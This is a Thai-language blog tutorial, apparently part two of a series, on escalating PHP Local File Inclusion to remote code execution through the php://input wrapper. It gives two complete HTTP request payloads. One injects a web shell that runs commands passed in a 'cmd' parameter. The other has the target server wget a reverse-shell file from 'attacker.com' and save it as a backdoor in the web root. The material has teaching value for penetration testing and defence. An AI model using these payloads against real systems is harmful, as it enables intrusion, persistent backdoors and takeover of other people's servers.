LOCAL FILE INCLUSION X REMOTE FILE INCLUSION#2

LOCAL FILE INCLUSION X REMOTE FILE INCLUSION#2
จากก่อนหน้านี้เราจะทราบว่าเราสามารถโจมตี Local File Inclusion (LFI) เพื่ออ่านไฟล์ ผ่านการ include ได้ ซึ่งนอกเหนือจากนั้นเรายังสามารถกระทำการทำ Remote Code Execution ได้โดยการใช้ php wrapper อีกด้วย
โดยในที่นี้จะยกตัวอย่าง php wrapper เป็น php://input
php://input เป็น wrapper ที่นิยมใช้เพื่อให้กลายเป็น remote code execution ผ่านการรับ code php ไปใช้งานโดยตรงผ่าน POST DATA ซึ่ง wrapper ตัวนี้จะสามารถนำไปใช้ใน include, include_once, require, require_once ได้ก็ต่อเมื่อต้องกำหนด allow_url_include=On ใน php.ini ก่อน (Default คือ Off) โดย allow_url_include นั้นมีให้กำหนดได้ตั้งแต่ version 5.2.0
โดยหาก allow_url_include=On เราจะสามารถโจมตีด้วย php://input wrapper ได้เป็นดัง payload ด้านล่าง
GET /index.php?page=php://input&cmd=pwd HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __cfduid=dd8465cb7b2c28a4cb6dee2d7096b65fd1546792095
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 41

<?php echo shell_exec($_GET['cmd']); ?>
จะเห็นว่าเราทำการส่ง php code ผ่าน HTTP Payload และในการกำหนดสั่งให้ execute คำสั่งผ่านตัวแปร cmd ซึ่งทำให้เราไม่จำเป็นต้อง upload backdoor ไฟล์ขึ้น server แต่อย่างใด
อีกตัวอย่างหนึ่งคือการสั่งให้เครื่องเป้าหมายทำการ download ไฟล์ backdoor.php จาก server ของเรา โดยไฟล์ backdoor.php ดังกล่าวอาจถูกสร้างด้วย msfvenom หรือจะเขียนง่ายๆขึ้นมาก็ได้เช่นกัน โดยจะเขียน payload เป็น
GET /index.php?page=php://input HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __cfduid=dd8465cb7b2c28a4cb6dee2d7096b65fd1546792095
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 41

<?php system('wget [http://attacker.com/php-reverse-shell.php](http://attacker.com/php-reverse-shell.php) -O /var/www/shell.php');
จากตัวอย่าง HTTP Payload จะเห็นว่าเป็นการ download php-reverse-shell.php จาก attacker.com ไปไว้ที่ /var/www/shell.php ทำให้เราสามารถสร้าง backdoor ไฟล์บนเครื่องเป้าหมายได้ด้วยคำสั่งดังกล่าว

Comments

Popular Posts